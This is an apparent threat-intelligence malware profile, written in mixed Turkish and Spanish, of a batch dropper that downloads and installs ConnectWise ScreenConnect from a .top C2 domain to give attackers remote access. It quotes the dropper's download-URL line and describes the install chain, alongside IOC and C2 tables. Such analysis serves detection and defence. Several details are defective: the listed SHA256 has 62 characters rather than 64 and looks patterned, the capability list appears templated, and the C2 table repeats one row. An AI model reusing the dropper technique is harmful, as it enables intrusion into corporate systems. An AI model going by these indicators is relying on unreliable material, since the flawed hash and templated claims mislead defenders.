Manuel Statik Analiz — ScreenConnect/ConnectWise RAT Kötüye Kullanımı | Tehdit: YUKSEK
Archivo Kimliği
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| Nombre de archivo | invitedGuests.bat ("davet edilen misafirler" sosyal mühendislik) |
| Tamaño | 1.052 byte (1KB!) — ultra küçük batch script |
| String Sayisi | 23 |
C2 Kontrollü ScreenConnect Kurulumu
LOLBAS Teknik: Meşru uzaktan destek yazılımını silah haline getirme!
set "MY_URL=https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Acce..." -- hbdhfijnsgjnds.top = 13 karakter rastgele .top TLD (C2 server) -- admin.* = yönetici panel subdomain -- /Bin/ScreenConnect.ClientSetup.msi = ConnectWise kurulum paketi -- ?e=Access → kurulum parametresi (özel erişim grubu) -- BAT → MSI indir → ConnectWise kur → saldırgana tam erişim!
Meşru RMM Kötüye Kullanımı
ConnectWise ScreenConnect, meşru bir uzaktan yönetim aracıdır (RMM). Saldırganlar bu tür araçları kendi sunucularından yükletip kurumsal sistemlere kalıcı uzaktan erişim sağlar. Antivirüsler meşru RMM araçlarını genellikle tehdit olarak işaretlemez. CVE-2024-1709 (CVSS 10.0) gibi kritik açıklar keşfedildi.
IOC
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| C2 | admin.hbdhfijnsgjnds.top (.top TLD) |
| Archivo | invitedGuests.bat (1052 byte) |
ScreenConnect — Perfil del malware
ScreenConnect ConnectWise meşru RMM araç kötüye kullanımı. invitedGuests.bat. BAT dropper + MSI kurulum.
Tipo de malware
RAT
Lenguaje de programación
Proprietary
Protocolo C2
HTTPS
Sistemas objetivo
Küresel Kurumsal
Capacidades y comportamiento
Uzaktan Erişim & Kontrol
Keylogger
Ekran Görüntüsü
Webcam Erişimi
Dosya Yönetimi
Süreç Yönetimi
Komut Yürütme
Kalıcılık Mekanizması
Lista IOC (1 indicadores)
IOC — ScreenConnect
# DOMAIN
hbdhfijnsgjnds.top
| Tipo | Valor | Nota |
|---|---|---|
| domain | hbdhfijnsgjnds.top |
Servidores C2 (2 servidores registrados para esta familia)
| Dirección | Tipo | Puerto | Protocolo | Estado | País |
|---|---|---|---|---|---|
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
Las direcciones C2 se proporcionan únicamente a partir de muestras de malware verificadas manualmente por el equipo KEYDAL. Se prohíbe el uso comercial.